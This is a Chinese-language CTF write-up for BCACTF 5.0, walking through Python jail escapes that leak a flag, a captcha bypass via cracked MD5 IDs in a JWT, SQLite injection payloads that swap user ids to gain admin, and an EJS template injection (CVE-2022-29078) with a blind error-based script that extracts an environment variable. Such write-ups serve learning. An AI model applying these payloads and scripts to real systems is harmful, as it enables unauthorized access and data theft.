前言

這次端午節跟牛肉湯夥伴們用了一些時間來打這場 CTF,解了 web 跟 misc ,剩下的就交給隊友。 因為時間沒有很多,所以策略就是先從分數高的開始解!

這篇記錄我覺得很酷的一些題目。

image 最後打了 25/1201

題目們在這 https://github.com/BCACTF/bcactf-5.0

misc

Jailbreak1

def sanitize(letter):
    print("Checking for contraband...")
    return any([i in letter.lower() for i in BANNED_CHARS])

BANNED_CHARS = "gdvxftundmnt'~`@#$%^&*-/.{}"
flag = open('flag.txt').read().strip()

print("Welcome to the prison's mail center")
msg = input("Please enter your message: ")

if sanitize(msg): 
    print("Contraband letters found!\nMessage Deleted!")
    exit()

exec(msg)

單純 ban 掉一些字元,也不能用 .,也不會將 exec 結果回傳。

先寫個腳本看我們還剩什麼能用:

import builtins
exclude_chars = set("gdvxftundmnt")

builtins_not_containing_chars = []
for name in dir(builtins):
    if not any(char in name for char in exclude_chars):
        builtins_not_containing_chars.append(name)

print("\nBuiltins not containing specified chars:")
print(builtins_not_containing_chars)
"""
['EOFError', 'Ellipsis', 'False', 'IOError', 'KeyError', 'OSError', 'TabError', 'TypeError', '__IPYTHON__', '__spec__', 'abs', 'all', 'ascii', 'bool', 'callable', 'chr', 'hash', 'help', 'locals', 'pow', 'repr', 'slice', 'zip']
"""

發現有 help() 但發現他不會進到 more qq

看 Discord 發現有人直接用 help(repr(locals())) 從 stderr 拿 flag XD

我們可以透過 locals 去拿到 flag 變數,但她把 x ban 掉了,所以不能用像這種方式繞關鍵字 "\x66\0x6c\0x61\0x67",但他有給用 +chr,所以可以這樣:

locals()[chr(102)+chr(108)+chr(97)+chr(103)]

接下來就是要怎麼把 flag 傳出來,幸運地,這題會給我們 stderr 的內容,所以可以隨便拿個 dict (這邊選 locals())之後去取這個不存在的 key 就可以leak flag 了:

locals()[locals()[chr(102)+chr(108)+chr(97)+chr(103)]]

Welcome to the prison's mail center
Please enter your message: locals()[locals()[chr(102)+chr(108)+chr(97)+chr(103)]]
Checking for contraband...
Traceback (most recent call last):
  File "/app/deploy.py", line 15, in <module>
    exec(msg)
  File "<string>", line 1, in <module>
KeyError: 'bcactf{PyTH0n_pR0_03ed78292b89c}'

然後可以用 help 所以也可以這樣XD

root@vincent55:~# nc challs.bcactf.com 32087
Welcome to the prison's mail center
Please enter your message: help(locals()[chr(102)+chr(108)+chr(97)+chr(103)])
Checking for contraband...
No Python documentation found for 'bcactf{PyTH0n_pR0_03ed78292b89c}'

Jailbreak2

def sanitize(letter):
    print("Checking for contraband...")
    return any([i in letter.lower() for i in BANNED_CHARS])

def end():
    print("Contraband letters found!\nMessages Deleted!")
    exit()

BANNED_CHARS = "gdvxfiyundmnet/\\'~`@#$%^&.{}0123456789"
flag = open('flag.txt').read().strip()

print("Welcome to the prison's mail center")

msg = input("\nPlease enter your message: ")

while msg != "":
    if sanitize(msg): 
        end()

    try:
        x = eval(msg)
        if len(x) != len(flag): end()
        print(x)
    except Exception as e:
        print(f'Error occured: {str(e)}; Message could not be sent.')

    msg = input("\nPlease enter your message: ")

這題多 ban 了數字,但會給我們 eval 的內容且結果長度要跟 flag 一樣才可以拿到,在之後的 revenge 才會用到這個性質,這題用了非預期解

btw stderr 還能夠使用! 但想用我們 Jailbreak1 的 payload 之前要想辦法繞過數字,。

這時就想到了 splitline 出來 HITCONCTF2022 的 VOID 中用到的一個 trick:

(not [])+ (not []) -> 2

但這題有 ban 掉 n,所以不能用 not,不過上面 not [] 的本質是 True,所以我們找一個 True 替代掉它也行,這邊用了 "a"=="a"

透過這樣就能組合出任意數字! 之後再拿去 chr 就可以取得任意字串!

來開始寫 payload:

f = ('("a"=="a")+'*102).rstrip('+')
l = ('("a"=="a")+'*108).rstrip('+')
a = ('("a"=="a")+'*97).rstrip('+')
g = ('("a"=="a")+'*103).rstrip('+')
payload = f'locals()[locals()[chr({f})+chr({l})+chr({a})+chr({g})]]'
print(payload)

但這樣太長了,會撞到 UNIX shell 4096 的上限,所以把 l a 不要展開:

f = ('("a"=="a")+'*102).rstrip('+')
g = ('("a"=="a")+'*103).rstrip('+')
payload = f'locals()[locals()[chr({f})+"la"+chr({g})]]'
print(payload)

這樣就有了 !

Welcome to the prison's mail center

Please enter your message: locals()[locals()[chr(("a"=="a")+("a"=="a")+("a"=="a")+("a"=="a")+("a"=="a")+("a"=="a")+("a"=="a")+("a"=="a")+("a"=="a")+("a"=="a")+("a"=="a")+("a"=="a")+("a"=="a")+("a"=="a")+("a"=="a")+("a"=="a")+("a"=="a")+("a"=="a")+("a"=="a")+("a"=="a")+("a"=="a")+("a"=="a")+("a"=="a")+("a"=="a")+("a"=="a")+("a"=="a")+("a"=="a")+("a"=="a")+("a"=="a")+("a"=="a")+("a"=="a")+("a"=="a")+("a"=="a")+("a"=="a")+("a"=="a")+("a"=="a")+("a"=="a")+("a"=="a")+("a"=="a")+("a"=="a")+("a"=="a")+("a"=="a")+("a"=="a")+("a"=="a")+("a"=="a")+("a"=="a")+("a"=="a")+("a"=="a")+("a"=="a")+("a"=="a")+("a"=="a")+("a"=="a")+("a"=="a")+("a"=="a")+("a"=="a")+("a"=="a")+("a"=="a")+("a"=="a")+("a"=="a")+("a"=="a")+("a"=="a")+("a"=="a")+("a"=="a")+("a"=="a")+("a"=="a")+("a"=="a")+("a"=="a")+("a"=="a")+("a"=="a")+("a"=="a")+("a"=="a")+("a"=="a")+("a"=="a")+("a"=="a")+("a"=="a")+("a"=="a")+("a"=="a")+("a"=="a")+("a"=="a")+("a"=="a")+("a"=="a")+("a"=="a")+("a"=="a")+("a"=="a")+("a"=="a")+("a"=="a")+("a"=="a")+("a"=="a")+("a"=="a")+("a"=="a")+("a"=="a")+("a"=="a")+("a"=="a")+("a"=="a")+("a"=="a")+("a"=="a")+("a"=="a")+("a"=="a")+("a"=="a")+("a"=="a")+("a"=="a")+("a"=="a"))+"la"+chr(("a"=="a")+("a"=="a")+("a"=="a")+("a"=="a")+("a"=="a")+("a"=="a")+("a"=="a")+("a"=="a")+("a"=="a")+("a"=="a")+("a"=="a")+("a"=="a")+("a"=="a")+("a"=="a")+("a"=="a")+("a"=="a")+("a"=="a")+("a"=="a")+("a"=="a")+("a"=="a")+("a"=="a")+("a"=="a")+("a"=="a")+("a"=="a")+("a"=="a")+("a"=="a")+("a"=="a")+("a"=="a")+("a"=="a")+("a"=="a")+("a"=="a")+("a"=="a")+("a"=="a")+("a"=="a")+("a"=="a")+("a"=="a")+("a"=="a")+("a"=="a")+("a"=="a")+("a"=="a")+("a"=="a")+("a"=="a")+("a"=="a")+("a"=="a")+("a"=="a")+("a"=="a")+("a"=="a")+("a"=="a")+("a"=="a")+("a"=="a")+("a"=="a")+("a"=="a")+("a"=="a")+("a"=="a")+("a"=="a")+("a"=="a")+("a"=="a")+("a"=="a")+("a"=="a")+("a"=="a")+("a"=="a")+("a"=="a")+("a"=="a")+("a"=="a")+("a"=="a")+("a"=="a")+("a"=="a")+("a"=="a")+("a"=="a")+("a"=="a")+("a"=="a")+("a"=="a")+("a"=="a")+("a"=="a")+("a"=="a")+("a"=="a")+("a"=="a")+("a"=="a")+("a"=="a")+("a"=="a")+("a"=="a")+("a"=="a")+("a"=="a")+("a"=="a")+("a"=="a")+("a"=="a")+("a"=="a")+("a"=="a")+("a"=="a")+("a"=="a")+("a"=="a")+("a"=="a")+("a"=="a")+("a"=="a")+("a"=="a")+("a"=="a")+("a"=="a")+("a"=="a")+("a"=="a")+("a"=="a")+("a"=="a")+("a"=="a")+("a"=="a"))]]
Checking for contraband...
Error occured: 'bcactf{PyTH0n_M4st3R_Pr0veD}'; Message could not be sent.

Jailbreak revenge

由於 Jailbreak 1 跟 2 都可以用以下 payload 繞過關鍵字檢查,所以才會有 revenge XDDD pyjail 真滴很難出XD 𝘱𝘳𝘪𝘯𝘵(𝘧𝘭𝘢𝘨)
def sanitize(letter):
    print("Checking for contraband...")
    print(any([ord(l) > 120 for l in letter]))
    print(any([(i in letter.lower()) for i in BANNED_CHARS]))
    for i in letter.lower():
        if i in BANNED_CHARS:
            print(i)
    return any([(i in letter.lower()) for i in BANNED_CHARS]) or any([ord(l) > 120 for l in letter])


def end():
    print("Contraband letters found!\nMessages Deleted!")
    exit()


BANNED_CHARS = "gdvxfiyundmpnetkb/\\'\"~`!@#$%^&*.{},:;=0123456789#-_|? \t\n\r\x0b\x0c"
flag = open('flag.txt').read().strip()

print("Welcome to the prison's mail center")

msg = input("\nPlease enter your message: ")

while msg != "":
    if sanitize(msg):
        end()

    try:
        x = eval(msg)
        print(x)
        if len(x) != len(flag):
            end()
        print(x)
    except Exception as e:
        print(f'Error.')

    msg = input("\nPlease enter your message: ")

diff 了一下,多 ban 了一些字元,英文字的部分不影響我們之前的 payload,但 =" 被 ban 掉了。

另外,stderr 的 trick 不能用了,但既然他會給我們 eval 的結果,那我們只要 locals()[flag] 就可以了XD

接下來,我們要想想取得字串的替代方案。

再跑一次 script 看一下我們能用哪些東西。

In [24]: import builtins
exclude_chars = set("gdvxfiyundmpnetkb")
builtins_not_containing_chars = []
for name in dir(builtins):
     if not any(char in name for char in exclude_chars):
        builtins_not_containing_chars.append(name)
print("\nBuiltins not containing specified chars:")
print(builtins_not_containing_chars)
"""
['EOFError', 'IOError', 'OSError', '__IPYTHON__', 'all', 'chr', 'hash', 'locals']
"""

all 還能用,那我們就可以透過 all([]) 來拿 True,可喜可賀。

payload:

f = ('all([])+'*102).rstrip('+')
l = ('all([])+'*108).rstrip('+')
a = ('all([])+'*97).rstrip('+')
g = ('all([])+'*103).rstrip('+')
payload = f'locals()[chr({f})+chr({l})+chr({a})+chr({g})]'
print(payload)

Web

Fogblaze

一個黑箱題,有個自製的 stateless 的 captcha 系統,要存取 /flag 之前要先做完 75 個,在時間內手動確實做不太完XD

觀察一下他怎麼 captcha 的:

請求中會帶上當前的 captchaToken 跟對應的答案

{"captchaToken":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJjYXB0Y2hhSWQiOiJkMjYyNzM4Ny1lZWMyLTQ0ZmMtODkyYS05MmIxYzQwY2JkZGYiLCJyb3V0ZUlkIjoiLyIsImNoYWxsZW5nZUlkIjoiZjkxYTIzODk0YjE0NjEyZWQ5ODBlY2RmZTAzZTU1ZTgiLCJzb2x2ZWQiOjAsInRvdGFsIjoyLCJkb25lIjpmYWxzZSwiaWF0IjoxNzE4MDcyOTE1LCJleHAiOjE3MTgwNzI5NzV9.GkrUlDxLdRkH78Yd_vO7VBx_g6LKza-18pvE8Ktuuko","word":"JDCN"}

然後會回你答對題數跟下一題的圖片還有 captchaToken。

{
    "captchaToken": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJjYXB0Y2hhSWQiOiJkMjYyNzM4Ny1lZWMyLTQ0ZmMtODkyYS05MmIxYzQwY2JkZGYiLCJyb3V0ZUlkIjoiLyIsImNoYWxsZW5nZUlkIjoiZjkxYTIzODk0YjE0NjEyZWQ5ODBlY2RmZTAzZTU1ZTgiLCJzb2x2ZWQiOjAsInRvdGFsIjoyLCJkb25lIjpmYWxzZSwiaWF0IjoxNzE4MDcyOTE1LCJleHAiOjE3MTgwNzI5NzV9.GkrUlDxLdRkH78Yd_vO7VBx_g6LKza-18pvE8Ktuuko",
    "image": "data:image/png;base64,iVBORw...",
    "solved": 0,
    "total": 2,
    "done": false
}

看一下 captchaToken 發現裡面有以下資訊:

{
  "captchaId": "d2627387-eec2-44fc-892a-92b1c40cbddf",
  "routeId": "/",
  "challengeId": "f91a23894b14612ed980ecdfe03e55e8",
  "solved": 0,
  "total": 2,
  "done": false,
  "iat": 1718072915,
  "exp": 1718072975
}

其中 challengeId 看起來很像 md5,拿去 crack 看看,發現他就是該題的答案(!)

f91a23894b14612ed980ecdfe03e55e8 -> JDCN

然後觀察一下所有題目圖片都是 [a-zA-z]{4} 所以不難建表,接下來寫個腳本自動跑 captcha:

import requests
import hashlib
import itertools
import string
import jwt

combinations = itertools.product(string.ascii_letters, repeat=4)
hash_dict = {}
for comb in combinations:
    original = "".join(comb)
    hash_obj = hashlib.md5(original.encode())
    hash_value = hash_obj.hexdigest()
    hash_dict[hash_value] = original


def token2cap(token):
    return jwt.decode(token, options={"verify_signature": False})


s = requests.Session()


url = "http://challs.bcactf.com:30477/captcha"

r = s.post(url, json={"routeId": "/flag"})
token = r.json()["captchaToken"]


for _ in range(75):
    r = s.post(
        url,
        json={
            "captchaToken": token,
            "word": hash_dict[token2cap(token)["challengeId"]],
        },
    )
    token = r.json()["captchaToken"]
    print(r.json()["solved"])


print(r.json())
print(s.cookies)

print(
    s.get("http://challs.bcactf.com:30477/flag?token=" + r.json()["captchaToken"]).text
)

User #1

黑箱,可猜測 sql 如下:

UPDATE users SET name={可控};

並且每次執行完以上 query 之後會用以下 hardcode query 來取得 id=1 的內容。

SELECT name FROM user WHERE id = 1;

透過以下 payload 來取得 users columns

", name=(SELECT sql FROM sqlite_master WHERE type='table') WHERE id = 1;--

再透過以下 payload 來取得隱藏 table

", name=(SELECT name FROM sqlite_master WHERE type = "table" LIMIT 1 OFFSET 1) WHERE id = 1;--

到這邊可以知道兩個 tables 的結構

CREATE TABLE roles_ebd54b04617baf5b (id INTEGER, admin INTEGER, FOREIGN KEY(id) REFERENCES users(id) ON UPDATE CASCADE)
CREATE TABLE users (id INTEGER PRIMARY KEY, name TEXT NOT NULL)

roles_ebd54b04617baf5b 的 id 會根據 users 的 id 變動,又因為每次都會將 id=1 的 users name 印出來。

到目前大概可以猜測我們的目標是將 id=1 的 roles_ebd54b04617baf5b 中的 admin 變成 1。

有幾種想法:

  • 直接跨 tables 修改 roles_ebd54b04617baf5b 的 admin column
  • 修改 users id=0 為 1

想法一在 sqlite 是不可行的,有查到 UPDATE-FROM 語法但只可以取其他 tables 的值,不可以修改。

note: 在其他 dbms 或許可以在一個 UPDATE statement 中修改多個 tables 的內容。ex. MYSQL

看來只剩下想法二了,但是若考慮以下的寫法交換兩個 id 的話會報錯 UNIQUE constraint failed

UPDATE users SET id=(case when id=1 then 0 else 1 end) WHERE id=0 OR id=1;--

因為它會按照順序走訪,從 0 開始他會發現同時出現了兩個 id=1 就會出問題。

在這裡卡了一陣子,之後想到如果我們先將 id=0改為 3,這樣就能讓 id=1 先運作把位置讓走,之後換 id=3 的時候就可以坐在 id=0 了

最終 payload:

UPDATE users SET id=3 WHERE id=0;
UPDATE users SET id=(case when id=1 then 0 else 1 end) WHERE id=3 OR id=1;-- 

Dock Finder

這題我是接手 ball45 的,他已經能成功執行 JavaScript了,但不知道為何不能 RCE,差在把 flag 拿回來。 主要是用這 CVE-2022-29078

主要的成因是在

app.post('/', (req, res) => {
    for (const [breed, summary] of Object.entries(breeds)) {
        if (req.body?.breed?.toLowerCase() === breed.toLowerCase()) {
            res.render('search', {
                summary,
                notFound: false,
                ...req.body
            })
            return
        }
    }

    res.render('search', { notFound: true })
}

payload(from ball45):

breed=Pekin&summary='aaaa'&settings[view options][outputFunctionName]=x;<js code>;s

他的 flag 放在環境變數內:

if (!Deno.env.has('FLAG')) {
    throw new Error('flag is not configured')
}

最後我的作法是透過 blind base 中 error 的做法把 flag 慢慢 leak 出來XDD

import requests

url = "http://challs.bcactf.com:30684/"

data = {
    "breed": "Pekin",
    "summary": "'aaaa'",
    "settings[view options][outputFunctionName]": "x;if(Deno.env.get('FLAG').startsWith('b')){throw new Error()};s",
}

flag = "bcactf{"


response = requests.post(url, data=data)
charset = "_abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ}"

while True:
    for c in charset:
        data["settings[view options][outputFunctionName]"] = (
            f"x;if(Deno.env.get('FLAG').startsWith('{flag+c}')){{throw new Error()}};s"
        )
        response = requests.post(url, data=data)
        if "Internal Server Error" in response.text:
            flag += c
            print(flag)
            break
    else:
        print("GG")


print(response.text)

大致就是:

if(Deno.env.get('FLAG').startsWith('<flag>')){throw new Error()}

image